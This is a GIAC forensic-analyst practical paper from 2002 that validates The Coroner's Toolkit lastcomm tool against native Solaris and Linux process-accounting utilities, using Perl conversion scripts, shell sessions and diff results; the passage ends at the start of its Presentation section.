Fight crime.
Unravel incidents... one byte at a time.

GIAC Certified Forensic Analyst (GCFA)

Version 1.0 (3 April 2002)

James A. Clausing

Part 1, option 2 – Perform a Forensic Tool Validation – Process Accounting Records

Motivation

When computer security professionals discuss forensic investigation, much of the focus is on imaging disks and extracting what information can be found from the disk in the form of MACTime data (MAC here refers to the modification, access, and change time captured about every file on the disk in the inode structures). Another useful avenue for investigation can broadly be described as log file analysis. Modern computer systems can be configured to capture a great deal of information about what happens on the system in various types of log files. Unfortunately, there is no consistency to the format or types of data captured[1]. There are numerous types of logs that can provide useful data to the investigator in her/his search to understand what happened and how it happened, this paper will primarily address one. The forensic investigator is charged with determining what happened and the extent of any damage. A timeline can be a crucial tool in developing this understanding.

Many modern operating systems now have the ability to generate audit data from the kernel (also known as C2 audit data, referring to the level in the "Orange Book" Department of Defense hierarchy that mandated audit trail). Unfortunately, on any moderately busy system, the volume of this data can quickly become overwhelming. Furthermore, there is a definite performance penalty in generating audit data on (potentially) every system call made by every process running on the system. This data, when it exists, is a forensic analyst's dream. However, because of these difficulties, this auditing is rarely enabled outside of the Defense Department or contractors where it is required. A similar but often-overlooked source of forensic data (at least on Unix and Unix-like systems, including Linux) is process accounting data. While process accounting was originally used in time-sharing environments to charge users for the amount of CPU time or disk they used, it is now more often used for security purposes because it imposes much less of a performance penalty (our experience has been on the order of 2-3%) than auditing while still providing a reasonable amount of data.

Process accounting records are given very little coverage in some of the better books on Unix/Linux security, incident handling, and forensics, For example, Garfinkel and Spafford's excellent book, Practical Unix & Internet Security[2], devotes 2 pages, Mandia and Prosise's Incident Response: Investigating

[1] See the discussion on the loganalysis mailing list https://lists.shmoo.com/mailman/listinfo/loganalysis and web site http://www.counterpane.com/log-analysis.html

[2] Garfinkel & Spafford, Practical Unix & Internet Security, O'Reilly, 1996, pp. 299-301.

Computer Crime[3] and Kruse and Heiser's Computer Forensics: Incident Response Essentials[4] each devote 2 paragraphs, and Romig's article in Handbook of Computer Crime Investigation: Forensic Tools and Technology[5] gives process accounting 1 paragraph, though Romig has used process accounting data in some of his investigatinos. Perhaps, the reason that process accounting is so often overlooked is a lack of tools. We[6] will examine an existing tool to assist in our analysis of process accounting records for forensic purposes. We will also introduce two new tools that can make the data more useful and address some of the problems with process accounting data (see the Analysis and Presentation sections below).

Before we begin looking at the tool, we need to first take a quick look at what process accounting does and does not provide. The standard data found in the process accounting data file (usually named either acct or pacct, depending on whether the system was derived from BSD or System V) includes the name of the process (often truncated to eight or sixteen characters and settable by the process itself), the uid and gid under which the process was run, flags (the most often seen being fork and setuid), process start time, system CPU time, user CPU time, elapsed time, and tty (if the process had a controlling tty). Optionally, it may also contain memory usage, I/O counts, page faults, swap counts, and/or exit status.

Our analysis will concentrate on only a few pieces of information provided by the process accounting log. In particular, we are most interested in uid, gid, process start time, and elapsed time as these are the most useful in determining a time line for the incident being investigated. The process name, as discussed below, is not as useful as one might hope since it does not provide full path or inode information on the binary that was executed. The next most useful items provided by process accounting would be the flags (especially the setuid flag and, if available, the coredump and terminated on signal flag), the controlling tty (for noting interactive usage) and exit status, if available. The CPU time and I/O data are more useful for determining anomalous behavior, as are the memory, page fault, and swap statistics.

As mentioned previously, the original intent of process accounting was chargeback. All operating systems that provide process accounting provide some tools for displaying the data. Unfortunately, there is no standard format for displaying the data, each tool on each operating system provides the data in a different manner. The inconsistent formats are one reason for examining the tool we have chosen for this exercise. There are also some definite weaknesses with

[3] Mandia & Prosise, Incident Response: Investigating Computer Crime, Osborne/McGraw-Hill, 2002, pg. 303.
[4] Kruse & Heiser, Computer Forensics: Incident Response Essentials, Addison-Wesley, 2002, pg. 296.
[5] Casey, editor, Handbook of Computer Crime Investigation: Forensic Tools and Technology, Academic Press, 2002, pg. 408.
[6] The author apologizes for his use of the royal 'we' throughout the rest of this document. This is all the work of one person, but he is uncomfortable writing so much in the first person, and 'we' did not grate on the ear as much as 'I'.

process accounting data that must be taken into account if this data is going to be used in prosecution, but as long as they are understood they should not prevent its usage.

Problems

Some of the major limitations to the use of process accounting data include the following:

- **Name information**. As mentioned above, the name information in the process accounting record is a fixed size string (generally eight characters, but sometimes sixteen) and the name can be set by the process itself. That means the process can call itself anything it wants. This means the name cannot be relied on, by itself, to tell us what binary was executed, but it will tell us that *something* was executed. When combined with MACTime data, however, this may provide us with extremely useful clues.
- **Ordering**. The data in the process accounting file is ordered by the time the process ended. These means a sequential look at the logs usually just causes confusion. While this problem can usually be overcome, it does need to be taken into account. More problematic is that processes that are still running do not appear in the accounting log at all, while long-running processes will appear in the logs far from other processes that were started with them.
- **Timing granularity**. While the CPU times and elapsed time have much finer granularity, the start time only has one second granularity. This means calculated end times could be off by ±1 second. Our tool follows the same convention as the native tools provided by the operating systems we tested of rounding fractions down.
- **Vulnerability of the log**. The accounting log itself is vulnerable to deletion (or potentially modification, though we are not aware of any tools at this time that modify process accounting records). We will present another tool to address this issue.

The main tool-lastcomm

The primary tool we will discuss is `lastcomm` from Venema & Farmer's *The Coroner's Toolkit*, (TCT) version 1.09[7] (the current version as of this writing). Our first reason for choosing this tool is that this version will run SunOS 4, SunOS 5 (Solaris), FreeBSD, OpenBSD, BSDi, and many Linux distributions. It should be possible to port to most, if not all, operating systems that TCT supports. The second reason for choosing this tool is that one option for output format is time-machine format which will ease the development of one of the new tools we will present later.

[7] http://www.porcupine.org/forensics/tct.html

Scope

Since process accounting is used for billing purposes, we will not invest any time in in this paper proving the accuracy of the data produced by the accounting system in the kernel. While this might be an avenue for challenge in court, it is well beyond the scope of our efforts in this paper. Since the tool we are examining is essentially a log analysis tool, our testing concentrates on establishing that our tool accurately represents the data in the log. As programmers, we could turn this paper into a code review, but instead, we will restrict ourselves to showing that this tool, `lastcomm`, reports the same information as the standard tools provided by the operating system. If we can show this, then a defendant would likely have to challenge the security of the logs or the accuracy of the entire accounting system, which would be a much greater effort than simply attacking this tool. We will then examine how the tool can be used for forensic purposes and some techniques that can be used to overcome some of the problems noted above.

Tool Description

As noted above, we will be examining `lastcomm` as provided in TCT, version 1.09 available from http://www.porcupine.org/forensics/tct.html. The tool was adapted by Wietse Venema from BSD source (in particular, it appears to have been taken from a FreeBSD release). The tool will read a process accounting log from a victim machine. This file is usually named either `acct` or `pacct` and can be located in any number of places based on the operating system or package version. Some of the common places are `/var/adm/pacct` (the usual Solaris location), `/var/log/pacct` (used by many Linux distributions), and `/var/account/acct` (the usual BSD location). It can take a command line argument giving the file name to read, so it can be used on accounting logs copied from victim machines. This tool can be run on images or live on a victim system. Note that running it on a live system will not change any old data, but will cause the log to change as entries are added for the tool being run. The tool can provide the investigator with information about the start/end time (indirectly, via start and elapsed time), name (see limitation above), uid and gid of processes run on the system. This information, when combined with MACTime data, can provide a timeline of activities taking place on a victim system. `lastcomm` can be statically compiled, but must be separately compiled for each type of system being investigated since it relies on layout of the accounting logs which can and do change periodically (the layout is found in `/usr/include/sys/acct.h` on most systems). We may attempt to create a version of the tool that will be able to read multiple formats of accounting logs based on a command line switch at some point in the future. The tool can (and has been) run from CD-ROM, it is run as part of `grave-robber` and obviously can be used independently.

Test Apparatus

For the purpose of this paper, we shall test the tool on the following platforms:

- Sun Sparc Ultra-2 running SunOS 5.6 (also known as Solaris 2.6) with current recommended patch cluster as of 15 Aug 2002.
- Sun Sparc Ultra-2 running SunOS 5.7 (a.k.a. Solaris7) with current recommended patch cluster as of 15 Aug 2002.
- Sun Sparc Ultra-2 running SunOS 5.8 (a.k.a Solaris8) with current recommended patch cluster as of 15 Aug 2002.
- Sun Sparc Ultra-2 running SunOS 5.9 (a.k.a. Solaris9) with current recommended patch cluster as of 15 Aug 2002.
- Compaq Presario desktop system running SuSE Linux 7.3 with accounting package acct-6.3.5-217.
- Sony Vaio laptop running Red Hat 7.2 with accounting package psacct-6.3.2-9.

We will refer the the Sun systems as SunOS 5.x in the discussion that follows, rather than Solaris x, since this is what `uname(1)` returns.

Environmental Conditions

During these tests, the tester will be the only interactive user on the system which will be on a closed network. We will be running the tests as an unprivileged user on a copy an accounting log that was taken live from the system. There are no outside forces that could influence the results of the tests.

Description of the Procedure

For each of the six test environments the following steps will be taken.

1) Ensure that the process accounting package was appropriately installed on the test system.
2) Verify that the process accounting package is, in fact, running (executing `/etc/init.d/acct start` or its equivalent).
3) Ensure that we have sufficient data logged to the acct or pacct file (file size > 5,000 bytes was deemed sufficient for this test since each record is on the order of 40 to 64 bytes).
4) Copy the acct/pacct file to our test directory.
5) Run the native utility for examining the accounting logs and save the ASCII output to a file.
6) Run `lastcomm` with the `-t` switch on the acct/pacct file to produce a version of the accounting log in time-machine format. Note, we previously compiled `lastcomm` on each of our six test systems.
7) Run a perl script of our own design on the output of `lastcomm -t` to reformat the time-machine format data into the same format as that produced by the native tool.
8) Finally, we run `diff(1)` on the two files and analyze any differences.

To verify that this is a valid test, we will examine the perl scripts that transform the output carefully, to ensure that the transformations are valid, in particular, we need

to carefully any calculations that may be performed beyond simple formatting. Since our test systems fall into two families, the Sun Solaris servers and the Intel Linux servers, we shall see analysis of these scripts below for each family of operating systems.

Criteria for approval

Our approval criteria are actually quite simple. Ideally, there should be no difference between the output of the native tool and our reformatted output from `lastcomm`. Since it is unlikely that the output will be identical, we shall examine each difference and determine if the difference is substantive or merely cosmetic. In particular, given our previous discussion of the most important fields, we are most concerned with start time, end time (see granularity discussion to see why we are more concerned with end time than with elapsed time), uid, and process name.

Data and Results

For the SunOS systems that we examined, we used the native utility, `acctcom(1)` to print out the accounting records in a human readable form. We created a perl script, `tm2acctcom.pl`, to take the time-machine output of `lastcomm -t` and convert it to something close to the format produced by `acctcom`. We include the script here with some explanation.

```
#!/usr/local/bin/perl
#
# $RCSfile: tm2acctcom.pl,v $
# $Revision: 1.4 $
# Author:       Jim Clausing <clausing@computer.org>
# $Date: 2002/09/16 00:58:10 $
#
# Purpose:      Converts time-machine format output from tct-1.09's
#               version of lastcomm and reformats in same format as
#               Solaris acctcom(1) command run with -btfi switches
#               then truncated to 96 chars (see note below).
#
#               Note, the version of lastcomm in tct-1.09 does not
#               keep exit status, the author will submit a patch
#               to Venema & Farmer to capture that information.
#
# $Log: tm2acctcom.pl,v $
# Revision 1.4  2002/09/15 20:58:10  jac
# cosmetic clean up
#
# Revision 1.3  2002/08/29 20:25:16  jac
# use different format for really big integers
#
# Revision 1.2  2002/08/29 20:14:19  jac
# put RCS stuff in the header
#
#
#
use POSIX qw(strftime);

#
# The bizzare format2 comes from peculiarities noted in the 5.8 version
```

```
# of acctcom, this resulted in fewer differences.
#
$format = "%-9s  %-9s %-12s %8s %8s  %7.2f %7.2f %7.2f%8d %7d %3d\n";
$format2 = "%-9s  %-9s %-12s %8s %8s  %7.2f %7.2f %7.2f   %7d %7d %3d\n";

open (INPUT, "$ARGV[0]");
$junk = <INPUT>;
$junk = <INPUT>;
($junk,$junk,$start_date) = split(/\|/,$junk);
print
"
ACCOUNTING RECORDS FROM:  ",scalar localtime($start_date),"
COMMAND                                START     END           REAL      CPU   (SECS)
CHARS  BLOCKS
NAME        USER      TTYNAME        TIME      TIME        (SECS)      SYS     USER
TRNSFD    READ  F
";

$junk = <INPUT>;

while(<INPUT>) {
  ($name,$flags,$uid,$gid,$tty,$ucpu,$cpu,$start,$elapse,$mem,$char,$io_blk)
               = split(/\|/,$_);
  if ($tty =~ /,/) {
    ($foo,$bar) = split(/,/,$tty);
    $tty = 'pts/' . $bar;
  } else {
    $tty = '?';
  }
  $fl = 40;
  $fl += 1 if ($flags =~ /F/);
  if ($flags =~ /S/) {
    $fl += 2;
    $name = '#' . $name;
  }
#
# acctcom is inconsistent when usernames are > 8 chars, sometimes
# giving 8 chars, sometimes 9.  We'll just truncate to 8.
#
  $user = substr(getpwuid($uid),0,8);
  $end   = strftime("%H:%M:%S",localtime(int($start+$elapse)));
  $start = strftime("%H:%M:%S",localtime($start));
  if ($char <= 99999999) {
    printf $format, $name,$user,$tty,$start,$end,$elapse,$cpu,$ucpu,$char,
        $io_blk,$fl;
  } else {
    printf $format2, $name,$user,$tty,$start,$end,$elapse,$cpu,$ucpu,$char,
        $io_blk,$fl;
  }
}
```

The script is relatively straight-forward, but we shall point out a few features of the script. First, note the lines that read `$junk = <INPUT>;`. These statements read the first three lines in the time-machine format output. The print statement generates the four header lines to match the output of `acctcom` less the exit status field noted in the comments. Next, we take note of the section that sets up the `$tty` variable. This worked for the machines we tested on, but we actually would prefer to leave things in the time-machine format of major and minor device numbers. We cheated a little on this one since the ptys that we were using were all

in /dev/pts. Similarly, we are not sure why an entry with no flags set resulted in a value of 40 in the flag field of `acctcom`, but it does and the setuid and fork flags, set the bits shown above, so we just add them. We then did a lookup of username given uid and truncated the result to eight characters since we noted the problem below with long usernames. We used the `strftime` function to get start and end times in the same (short) format used by `acctcom`. Finally, we made our best guess as to when `acctcom` would do strange things with the formatting of their output. This was close but not perfect, as we will see below.

Our first test subject was a SunOS 5.6 system. This system is a relatively busy ftp server, but the subnet was disconnected from the outside world while running this test. The usernames have been changed below to protect the guilty (er, make that the innocent).

```
jac@hobbes[539] cp /var/adm/pacct32 ./pacct-5.6
jac@hobbes[540] acctcom -bfti ./pacct-5.6 | cut -c1-96 > pacct-5.6.acctcom.out
jac@hobbes[541] ~/src/tct/tct-1.09/bin/lastcomm -t -f ./pacct-5.6 > pacct-5.6.tm
jac@hobbes[542] ./tm2acctcom.pl pacct-5.6.tm > tm2a.out-5.6
jac@hobbes[543] wc -l tm2a.out-5.6
    9606 tm2a.out-5.6
jac@hobbes[544] diff pacct-5.6.acctcom.out tm2a.out-5.6
67c67
< #sh          test0323_ ?            14:00:01 14:00:02      1.77     0.02     0.01
22992       0  42
---
> #sh          test0323  ?            14:00:01 14:00:02      1.77     0.02     0.01
22992       0  42
77c77
< #sh          smithneph ?            14:00:02 14:00:02      0.21     0.01     0.01
22992       0  42
---
> #sh          smithnep  ?            14:00:02 14:00:02      0.21     0.01     0.01
22992       0  42
```

We shall take a moment and examine these first few differences. We note here that `acctcom` is actually a little inconsistent. This system uses usernames that can be up to ten characters in length, `acctcom` sometimes truncates the username to eight characters, at other times nine. We do not consider these differences significant.

```
79c79
< date         sys        ?            14:00:02 14:00:02      0.01     0.00     0.00
1253        0  40
---
> date         sys        ?            14:00:02 14:00:02      0.00     0.00     0.00
1253        0  40
98c98
< expr         adm        ?            14:00:02 14:00:02      0.01     0.00     0.00
3        0  40
---
> expr         adm        ?            14:00:02 14:00:02      0.00     0.00     0.00
3        0  40
102,103c102,103
< expr         adm        ?            14:00:02 14:00:02      0.01     0.00     0.00
3        0  40
```

```
< expr        adm        ?              14:00:02 14:00:02      0.01     0.00     0.00
3       0  40
---
> expr        adm        ?              14:00:02 14:00:02      0.00     0.00     0.00
3       0  40
> expr        adm        ?              14:00:02 14:00:02      0.00     0.00     0.00
3       0  40
106c106
< expr        adm        ?              14:00:02 14:00:02      0.01     0.00     0.00
3       0  40
---
> expr        adm        ?              14:00:02 14:00:02      0.00     0.00     0.00
3       0  40
114,115c114,115
< expr        adm        ?              14:00:02 14:00:02      0.01     0.00     0.00
3       0  40
< expr        adm        ?              14:00:02 14:00:02      0.01     0.00     0.00
3       0  40
---
> expr        adm        ?              14:00:02 14:00:02      0.00     0.00     0.00
3       0  40
> expr        adm        ?              14:00:02 14:00:02      0.00     0.00     0.00
3       0  40
```

Here we note a peculiarity which appears consistently in our tests on Sun machines and probably warrants further investigation. There are a number of processes where `lastcomm` gave an elapsed time of 0.00 seconds. In every single case, `acctcom` gave an elapsed time of 0.01 seconds for the same process. We note again, that since the granularity of the start time is at the 1-second level, in either case the start time and end time will be the same. We intend to investigate the cause of this difference further at some point in the future, but for now we again conclude that these differences are insignificant to our test.

While there were a total of 290 differences between the two files (out of a total of 9602 records – the 9606 lines minus the four lines of header, or 3.02%), all of them fell into one of the two categories noted above, either a username truncation (67 of the differences) or a very short duration process (223 times).

Next, we examine a SunOS 5.7 system, this system is not quite as busy as the 5.6 system we just examined. This system serves primarily as a console server. Again, we will use the same process as above and examine each difference as we encounter it.

```
jac@2ring[509] acctcom -bfti ./pacct-5.7 | cut -c1-96 > pacct-5.7.acctcom.out
jac@2ring[510] ~/src/tct/tct-1.09/bin/lastcomm -t -f ./pacct-5.7 > pacct-5.7.tm
jac@2ring[511] ./tm2acctcom.pl ./pacct-5.7.tm > tm2a.out-5.7
jac@2ring[512] wc -l tm2a.out-5.7
    5258 tm2a.out-5.7
jac@2ring[513] /usr/local/bin/diff pacct-5.7.acctcom.out tm2a.out-5.7
20,21c20,21
< w           jac        ?            17:29:54 17:29:54      0.04     0.04     0.00
106880        0  40
< ls          jac        ?            17:28:04 17:28:04      0.02     0.01     0.01
4913        0  40
---
```

```
> w           jac       pts/3        17:29:54 17:29:54     0.04     0.04     0.00
106880        0  40
> ls          jac       pts/3        17:28:04 17:28:04     0.02     0.01     0.01
4913        0  40
```

In this case, we note a rather disappointing feature of `acctcom` under SunOS 5.7, it appears (at least at the patchlevel we tested) to not properly report tty, even though that data is in the log. This problem does not seem to occur on 5.6, 5.8, or 5.9, but all of the 5.7 systems we tested (granted, this was a relatively small sample) provided incorrect output for the tty in one fashion or another (some gave console for pts/0, others showed the results we see above). We consider this a bug in the native utility and not a problem with the tool we are examining.

```
166c166
< #sendmail  root      ?            17:05:58 17:05:58     0.01     0.00     0.00
0        0  43
---
> #sendmail  root      ?            17:05:58 17:05:58     0.00     0.00     0.00
0        0  43
192c192
< gethosti   root      ?            17:05:01 17:05:01     0.01     0.00     0.00
11       0  41
---
> gethosti   root      ?            17:05:01 17:05:01     0.00     0.00     0.00
11       0  41
195c195
< gethosti   root      ?            17:05:01 17:05:01     0.01     0.00     0.00
8        0  41
---
> gethosti   root      ?            17:05:01 17:05:01     0.00     0.00     0.00
8        0  41
```

Here we again see the problem we noted in the SunOS 5.6 results, where for very short-lived processes, `lastcomm` reports an elapsed time of 0.00 seconds, while `acctcom` reports an elapsed time of 0.01 seconds. As with the results from SunOS 5.6, we do not consider these differences significant for the purposes of this test.

```
2665c2665
< tripwire   root      ?            10:00:00 10:04:24   264.96   20.24  140.40  1220018176
813
---
> tripwire   root      ?            10:00:00 10:04:24   264.96   20.24  140.40   1220018176
813  40
```

The differences here were a result of spacing anomalies from `acctcom`, it was inconsistent in its formatting of the character I/O field when the value became large. The missing 40 on the end of the `acctcom` output was a result of our passing the results of `acctcom` through the `cut(1)` command to cut off the exit status field since this version of `lastcomm` does not capture that information for Solaris (we will be submitting a patch to the maintainers of TCT, which will allow `lastcomm` to capture Solaris exit status values). We went back and examined

these lines without `cut`-ing the `acctcom` output and the flag fields matched. Again, these differences are insignificant to our test. There are no users on this system with usernames longer than eight characters, so we did not encounter that particular anomaly on our SunOS 5.7 system. There were a total 302 differences out of a total of 5254 entries in the log (or 5.75%), of these differences 156 were the tty display issue, 2 were the large character I/O field formatting, and the remainder (144) were the very short duration processes.

Our third test system, was a SunOS 5.8 system which runs a web server and monitors the status of some network devices via SNMP.

```
jac@newmozart[509] acctcom -bfti ./pacct-5.8 | cut -c1-96 > pacct-5.8.acctcom.out
jac@newmozart[510] ~/src/tct/tct-1.09/bin/lastcomm -t -f ./pacct-5.8 > pacct-5.8.tm
jac@newmozart[511] ./tm2acctcom.pl ./pacct-5.8.tm > tm2a.out-5.8
jac@newmozart[512] wc -l tm2a.out-5.8
    2806 tm2a.out-5.8
jac@newmozart[513] diff pacct-5.8.acctcom.out tm2a.out-5.8
179c179
< ssh         jac       pts/26       09:32:27 13:15:51  1568604.16    0.15    0.81
274432      50
---
> ssh         jac       pts/26       09:32:27 13:15:51  1568604.16    0.15    0.81
274432      50  40
```

Here we see another problem with our use of `cut`, in this case it is because the elapsed time overflowed the space allocated. In this case, we see the termination of an `ssh` process that had been running for almost three weeks. As we did with the `tripwire` entry on the previous system, we did examine the flag field from `acctcom` (without piping it through `cut`) and they matched, so again these differences are not significant for the purpose of our test.

```
240c240
< gethosti    root      ?            13:05:01 13:05:01     0.01    0.00    0.00
11        0  41
---
> gethosti    root      ?            13:05:01 13:05:01     0.00    0.00    0.00
11        0  41
```

As with the previous versions, we see the same problem with very short-lived processes.

```
1184c1184
< tripwire    root      ?            10:00:00 10:14:29   869.12   91.04  250.24-2069889024
110912
---
> tripwire    root      ?            10:00:00 10:14:29   869.12   91.04  250.24
2225078272  110912  40
```

In this case, it looks like we may have a case of `acctcom` treating the character I/O field as a signed, rather than an unsigned integer and again, we see the formatting issues when certain of the fields are larger than the default sizes. In this test, there were a total of 61 differences out of a total of 2802 records (or 2.18%).

Of these, 34 were due to the two different formatting issues noted, the remaining 27 were the extremely short duration processes.

Our fourth test system was a workstation running SunOS 5.9. In this case we had a much smaller log to examine, but there were sufficient different types of entries that we deemed it representative for the purposes of this test.

```
jac@Scheduler[51] acctcom -bfti ./pacct-5.9 | cut -c1-96 > pacct-5.9.acctcom.out
jac@Scheduler[52] ~/src/tct/tct-1.09/bin/lastcomm -t -f ./pacct-5.9 > pacct-5.9.tm
jac@Scheduler[57] ./tm2acctcom.pl ./pacct-5.9.tm > tm2a.out-5.9
jac@Scheduler[58] wc -l tm2a.out-5.9
     267 tm2a.out-5.9
jac@Scheduler[59] diff pacct-5.9.acctcom.out tm2a.out-5.9
24c24
< postfix-   root      pts/11       13:25:43 13:25:43     0.01    0.00    0.00
44       0  41
---
> postfix-   root      pts/11       13:25:43 13:25:43     0.00    0.00    0.00
44       0  41
```

As we have seen with all of the other SunOS versions, this version also suffers from the problem of very short duration processes.

```
165c165
< #pkginsta  root      pts/11       13:22:39 13:23:18    39.50    2.58    6.79
163840000     557
---
> #pkginsta  root      pts/11       13:22:39 13:23:18    39.50    2.58    6.79
163840000     557  42
```

This version also suffers from the same formatting issues when one of the fields exceeds its default size. Of the 262 entries in the accounting log, 13 of them (4.96%) were different and of those 12 were the very short duration processes and the other was the formatting issue.

We next moved on to a pair of Linux systems. For examining the Linux output, we noted that the native version of `lastcomm` has a switch (`--debug`) which provides much of the data found in the accounting record in a format that is quite similar to the time-machine format from TCT's `lastcomm`. We wrote another perl script, `tm2lin-debug.pl`, to give us a format similar to the output from the native Linux `lastcomm` run with the `--debug` option. We shall examine that script now. We should note, however that the native Linux version outputs quite a few lines of debugging information mapping numbers to device names. We deleted all of these lines before doing the `diff`'s below.

```
#!/usr/local/bin/perl
#
# $RCSfile: tm2lin-debug.pl,v $
# $Revision: 1.2 $
# Author:       Jim Clausing <clausing@computer.org>
# $Date: 2002/09/15 20:51:19 $
#
```

```
# Purpose:      Converts time-machine format output from tct-1.09's
#               version of lastcomm and reformats in same format as
#               Linux's lastcomm(1) run with the --debug switch
#
# $Log: tm2lin-debug.pl,v $
# Revision 1.2  2002/09/15 20:51:19  jac
# Put RCS stuff in header
#
#
#
use Getopt::Std;
use POSIX qw(strftime);

getopts('s');

$str1 =
"--------------------------------------------------------------------------------\n";

$format = "CURRENT REC: %-17s|%6.1f|%6.1f|%6.1f|%5d|%5d|%6.1f|%6.1f|%s\n";
$format2 = "%-17s %-5s %-8s %-8s %6.2f secs %s\n";

open (INPUT, "tail +4 $ARGV[0]|");
while(<INPUT>) {
  ($name,$flags,$uid,$gid,$tty,$ucpu,$cpu,$start,$elapse,$mem,$char,$io_blk,
        $maj_pflt,$min_pflt,$exit_stat,$swap)
                = split(/\|/,$_);
  ($foo,$bar) = split(/,/,$tty);
  if ($foo != 0) {
    $tty = $opt_s?'pts/':'tty' . $bar;
  } else {
    $tty = '??';
  }
  $fl1 = $fl2 = $fl3 = $fl4 = $fl5 = ' ';
  $fl1 = 'S' if ($flags =~ /S/ && !$opt_s);
  $fl2 = 'F' if ($flags =~ /F/ && !$opt_s);
  $fl3 = 'C' if ($flags =~ /C/ && !$opt_s);
  $fl4 = 'D' if ($flags =~ /D/ && !$opt_s);
  $fl5 = 'X' if ($flags =~ /X/ && !$opt_s);
  $fl = $fl1 . $fl2 . $fl3 . $fl4 . $fl5 ;
  $user = getpwuid($uid);
  $start_str = scalar localtime($start);
  $short_date = strftime("%a %b %e %H:%M",localtime($start));
  print $str1;
  printf $format, $name,$ucpu*100.0,$cpu*100.0,$elapse*100.0,$uid,$gid,$mem,
        $swap,scalar localtime($start);
  printf $format2,$name,$fl,$user,$tty,$cpu+$ucpu,$short_date;
}
```

This script is actually simpler than the SunOS one. We first skip over the three header lines in the time-machine format. Next, we have some inconsistencies in the way ttys are displayed between SuSE and Red Hat (the two Linux systems that we tested) and even that depends on whether we run the test from the same pts as the original process, we shall explain that when we encounter it below. Further, we note that the native `lastcomm` on our SuSE system did not print out the flag information even though it was contained in the log, so we used our SuSE switch (`-s`) to turn off output of the flags. We finally note that in time-machine format the TCT version of `lastcomm` has already converted from ticks to seconds, we need

to undo this conversion to get back to what the native `lastcomm` outputs, thus the multiplication by 100.0 in the printf command above.

Our fifth test system is a desktop system running SuSE Linux version 7.3, with the accounting package acct-6.3.5-217 installed.

```
jac@leibnitz[509]$ sudo cp /var/account/pacct ./pacct-suse-7.3
jac@leibnitz[510]$ sudo chown jac pacct-suse-7.3
jac@leibnitz[511]$ lastcomm --debug -f pacct-suse-7.3 > pacct-suse-7.3.lastcomm.out
jac@leibnitz[512]$ tail +1552 pacct-suse-7.3.lastcomm.out > pacct-suse-7.3.lc.out2
jac@leibnitz[513]$ ~/tct/tct-1.09/bin/lastcomm -t -f pacct-suse-7.3 > pacct-suse-7.3.tm
jac@leibnitz[514]$ ./tm2lin-debug.pl -s pacct-suse-7.3.tm > tm-suse.out
jac@leibnitz[515]$ wc -l tm-suse.out
   6504 tm-suse.out
jac@leibnitz[516]$ diff pacct-suse-7.3.lc.out2 tm-suse.out
769,770d768
< Did seek in file 122368 --> 105984
< Got 256 records from file
```

The first thing we note on this system is that the accounting log in located in /var/account. We also had to change ownership or permissions so that it could be read by the unprivileged account running this test. Also, note that we cheated here a little bit and in another window figured out that there were 1551 lines of device mapping info at the top of the file that needed to be removed before we ran `diff`. Next, we see that the native version outputs debugging information everytime it extracts another 256 records from the file. This difference between the two files is not significant to our test.

```
2580c2574
< top                    jac      stdin     25.00 secs Sun Aug  4 14:33
---
> top                    jac      pts/0     25.00 secs Sun Aug  4 14:33
```

Here we see the difference we noted above, since we were logged in on pts/0 when we ran the native version, it converted the tty name to stdin (/dev/stdin is a link to the same device as /dev/pts/0). This difference is also not significant to this test.

Of the 2168 records (6504 lines divided by three lines per record), there were 429 differences all of which were the tty naming (there were also eight instances of the debugging messages in the `pacct-suse-7.3.lc.out2` file).

The final system we examined was a laptop running Red Hat 7.2 with the psacct-6.3.2-9 package installed. From the version numbers, it appears that the SuSE and Red Hat systems should be very similar as they appear to be based on the same original source tree.

```
jac@Gazelle[502]$ sudo cp /var/log/pacct ./pacct-redhat-7.2
jac@Gazelle[503]$ sudo chown jac pacct-redhat-7.2
jac@Gazelle[504]$ lastcomm --debug -f pacct-redhat-7.2 > pacct-redhat-7.2.lastcomm.out
jac@Gazelle[505]$ ~/src/tct/tct-1.09/bin/lastcomm -t -f pacct-redhat-7.2 > pacct-redhat-7.2.tm
```

```
jac@Gazelle[506]$ ./tm2lin-debug.pl pacct-redhat-7.2.tm > tm-redhat.out
jac@Gazelle[507]$ tail +2059 pacct-redhat-7.2.lastcomm.out > pacct-redhat-7.2.lastcomm.out2
jac@Gazelle[512]$ wc -l tm-redhat.out
   5320 tm-redhat.out
jac@Gazelle[510]$ diff pacct-redhat-7.2.lastcomm.out2 tm-redhat.out
769,770d768
< Did seek in file 97088 --> 80704
< Got 256 records from file
1539,1540d1537
< Did seek in file 80704 --> 64320
< Got 256 records from file
1798c1794
< ssh               S   X root     tty1       0.25 secs Sun Sep  8 14:10
---
> ssh               S     root     tty1       0.25 secs Sun Sep  8 14:10
1801c1797
< scp                   X root     tty1       0.03 secs Sun Sep  8 14:10
---
> scp                     root     tty1       0.03 secs Sun Sep  8 14:10
```

As was the case with SuSE, we see the debugging output from the native version of `lastcomm`. We also note that the native version outputs the flag indicating the process was terminated by a signal, but the TCT version does not. It turns out the reason for this is the version of the accounting header file (<sys/acct.h> versus <linux/acct.h>) used to build the TCT version of `lastcomm`. These are, in fact, the only differences between the files. Again, these differences are not considered significant to this test.

So, now that we have completed the six tests, what can we conclude? Not surprisingly, the version of `lastcomm` distributed in version 1.09 of The Coroner's Toolkit, accurately renders the contents of the process accounting logs in a standard format. Well, this result should be expected. The format of the process accounting record is recorded in a header file for each operating system (in most cases, <sys/acct.h>, though as noted, on Red Hat <linux/acct.h> is probably a better choice), so the tool does not have to do anything particularly special. We then conclude that the tool has passed our test by providing essentially the same information as the native tools provided with the operating system.

Analysis

If the tool we have been examining does not have to do anything special, why does the forensic investigator care about it? As noted above, the data provided by the accounting logs are most useful for creating a timeline of an event. In particular, we note that with MACTime analysis, we only know the *last* time that a particular file was accessed. The process accounting logs provide us with information on which users were running processes during an event. This can provide data that may fill in some of the holes in the MACTime data.

We have previously noted, however, that there are some problems with process accounting data. One of those problems is the fact that the log exists only on the host system. The logs are therefore vulnerable to deletion or modification by an

attacker. To address this issue, we were inspired by a tool called `loginlog`[8], written by mark@netsys.com in 1994. This tool constantly watches the wtmp file and when it sees a new entry, sends that information to syslog. At the time this tool was written attackers were regularly running tools to erase their tracks including deleting entries in the wtmp file. We wanted to create a tool that would do something similar for process accounting records, so we have written a tool called `acctlog` which constantly watches the current process accounting log and when a new entry is written, sends a message to syslog. We include the source code in Appendix A and will make it available on the Internet when we can find a web site to serve as its permanent home.

Presentation

